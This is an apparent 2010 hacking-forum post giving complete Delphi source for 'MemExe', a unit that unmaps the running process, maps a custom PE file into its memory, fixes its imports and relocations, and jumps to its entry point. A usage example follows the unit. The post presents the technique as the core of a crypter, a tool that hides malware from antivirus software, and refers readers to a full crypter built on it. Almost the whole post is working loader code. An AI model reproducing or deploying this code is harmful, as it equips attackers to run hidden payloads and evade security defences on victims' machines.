MemExe - Replace current process with custom PE
Post date: Jun 29, 2010 6:02:41 PM
Unit: uMemExec
Author: steve10120
Description: Map and execute a PE file in the calling process's memory.
Concept Credits: shapeless
Website: hackhound.org
History: First try
This memory injection unit shows you how to unmap the current process and map in a custom PE.
A full crypter coded by shapeless using this technique can be found here:
Unit:
unit uMemExec;
interface
uses Windows;
type
PImageImportDescriptor = ^TImageImportDescriptor;
TImageImportDescriptor = packed record
OriginalFirstThunk: DWORD;
TimeDateStamp: DWORD;
ForwarderChain: DWORD;
Name: DWORD;
FirstThunk: DWORD;
end;
PImportByName = ^TImportByName;
TImportByName = packed record
Name1: DWORD;
end;
PImageBaseRelocation = ^TImageBaseRelocation;
TImageBaseRelocation = packed record
VirtualAddress: DWORD;
SizeOfBlock: DWORD;
end;
type
PFuncParams = ^TFuncParams;
TFuncParams = record
dwImageBase: DWORD;
hThread: DWORD;
pBuffer: Pointer;
WaitForSingleObject: function(hHandle: THandle; dwMilliseconds: DWORD): DWORD; stdcall;
UnmapViewOfFile: function(lpBaseAddress: Pointer): BOOL; stdcall;
VirtualAlloc: function(lpvAddress: Pointer; dwSize, flAllocationType, flProtect: DWORD): Pointer; stdcall;
MessageBox: function(hWnd: HWND; lpText, lpCaption: PAnsiChar; uType: UINT): Integer; stdcall;
RtlMoveMemory: procedure(Destination, Source: Pointer; dwLength: DWORD); stdcall;
ExitProcess: function(ExitCode:DWORD):DWORD;
GetProcAddress: function(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall;
LoadLibrary: function(lpLibFileName: PAnsiChar): HMODULE; stdcall;
end;
procedure LoadPE(Params:PFuncParams);
procedure EndProc();
implementation
procedure LoadPE(Params:PFuncParams);
var
pMem: Pointer;
IDH: TImageDosHeader;
INH: TImageNtHeaders;
ISH: TImageSectionHeader;
IID: PImageImportDescriptor;
IBN: PImportByName;
i: DWORD;
hDll: DWORD;
pWrite: ^Pointer;
pBase: Pointer;
IBR: PImageBaseRelocation;
dwCount: DWORD;
pItem: PWORD;
Label
SEHExit;
begin
asm
push offset SEHExit
push fs:[0]
mov fs:[0], esp
end;
with Params^ do
begin
WaitForSingleObject(hThread, INFINITE);
IDH := TImageDosHeader(pBuffer^);
if IDH.e_magic = IMAGE_DOS_SIGNATURE then
begin
INH := TImageNtHeaders(Pointer(DWORD(pBuffer) + IDH._lfanew)^);
if INH.Signature = IMAGE_NT_SIGNATURE then
begin
if dwImageBase = INH.OptionalHeader.ImageBase then
UnmapViewOfFile(Pointer(INH.OptionalHeader.ImageBase));
pMem := VirtualAlloc(Pointer(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if pMem = nil then
pMem := VirtualAlloc(nil, INH.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if pMem <> nil then
begin
asm
push eax
push ecx
mov eax, fs:[30h]
mov ecx, pMem
mov [eax+8], ecx
pop ecx
pop eax
end;
RtlMoveMemory(pMem, pBuffer, INH.OptionalHeader.SizeOfHeaders);
for i := 0 to INH.FileHeader.NumberOfSections - 1 do
begin
ISH := TImageSectionHeader(Pointer(DWORD(pBuffer) + IDH._lfanew + 248 + i * 40)^);
if ISH.SizeOfRawData > 0 then
RtlMoveMemory(Pointer(DWORD(pMem) + ISH.VirtualAddress), Pointer(DWORD(pBuffer) + ISH.PointerToRawData), ISH.SizeOfRawData);
end;
if (INH.OptionalHeader.DataDirectory[1].VirtualAddress > 0) and (INH.OptionalHeader.DataDirectory[1].Size > 0) then
begin
IID := PImageImportDescriptor(Pointer(DWORD(pMem) + INH.OptionalHeader.DataDirectory[1].VirtualAddress));
while IID^.Name <> 0 do
begin
hDll := LoadLibrary(PChar(Pointer(DWORD(pMem) + IID.Name)));
if hDll <> INVALID_HANDLE_VALUE then
begin
if IID.OriginalFirstThunk <> 0 then
IBN := PImportByName(Pointer(DWORD(pMem) + IID.OriginalFirstThunk))
else
IBN := PImportByName(Pointer(DWORD(pMem) + IID.FirstThunk));
pWrite := Pointer(DWORD(pMem) + IID.FirstThunk);
while IBN.Name1 <> 0 do
begin
if (IBN.Name1 and $80000000) <> 0 then
pWrite^ := GetProcAddress(hDll, PChar(IBN.Name1 and $ffff))
else
pWrite^ := GetProcAddress(hDll, PChar(DWORD(pMem) + IBN.Name1 + 2));
Inc(IBN);
Inc(pWrite);
end;
end;
Inc(IID);
end;
if (DWORD(pMem) <> INH.OptionalHeader.ImageBase) and ((INH.OptionalHeader.DataDirectory[5].VirtualAddress > 0) and (INH.OptionalHeader.DataDirectory[5].Size > 0)) then
begin
pBase := Pointer(DWORD(pMem) + INH.OptionalHeader.DataDirectory[5].VirtualAddress);
IBR := pBase;
while (DWORD(IBR) - DWORD(pBase)) < INH.OptionalHeader.DataDirectory[5].Size do
begin
dwCount := Trunc((IBR.SizeOfBlock - 8) / 2);
pItem := Pointer(DWORD(IBR) + 8);
for i := 0 to dwCount - 1 do
begin
if (pItem^ shr 12) = 3 then
Inc(PDWORD(DWORD(pMem) + IBR.VirtualAddress + (pItem^ and $FFF))^, DWORD(pMem) - INH.OptionalHeader.ImageBase);
pItem := Pointer(DWORD(pItem) + 2);
end;
IBR := Pointer(DWORD(IBR) + IBR.SizeOfBlock);
end;
end;
asm
mov eax, pMem
add eax, INH.OptionalHeader.AddressOfEntryPoint
// INT 3
jmp eax
end;
end;
end;
end;
end;
end;
SEHExit:
ExitProcess(0);
end;
procedure EndProc(); begin end;
end.
Usage:
var
Params: PFuncParams;
dwNull: DWORD;
hKernel32: DWORD;
pFunc: Pointer;
dwSize: DWORD;
pFile: Pointer;
begin
Params := VirtualAlloc(nil, SizeOf(Params^), MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE);
dwSize := DWORD(@EndProc) - DWORD(@LoadPE);
pFunc := VirtualAlloc(nil, dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if Assigned(pFunc) then
begin
CopyMemory(pFunc, @LoadPE, dwSize);
Params.dwImageBase := GetModuleHandle(nil);
Params.hThread := GetCurrentThreadID;
hKernel32 := GetModuleHandle('kernel32.dll');
Params^.WaitForSingleObject := GetProcAddress(hKernel32, 'WaitForSingleObject');
Params^.UnmapViewOfFile := GetProcAddress(hKernel32, 'UnmapViewOfFile');
Params^.VirtualAlloc := GetProcAddress(hKernel32, 'VirtualAlloc');
Params^.MessageBox := GetProcAddress(GetModuleHandle('user32.dll'), 'MessageBoxA');
Params^.RtlMoveMemory := GetProcAddress(hKernel32, 'RtlMoveMemory');
Params^.ExitProcess := GetProcAddress(hKernel32, 'ExitProcess');
Params^.LoadLibrary := GetProcAddress(hKernel32, 'LoadLibraryA');
Params^.GetProcAddress := GetProcAddress(hKernel32, 'GetProcAddress');
FileToMem('notepad.exe', pFile);
Params.pBuffer := pFile;
BeginThread(nil, 0, pFunc, Pointer(Params), 0, dwNull);
ExitThread(0);
end;
end.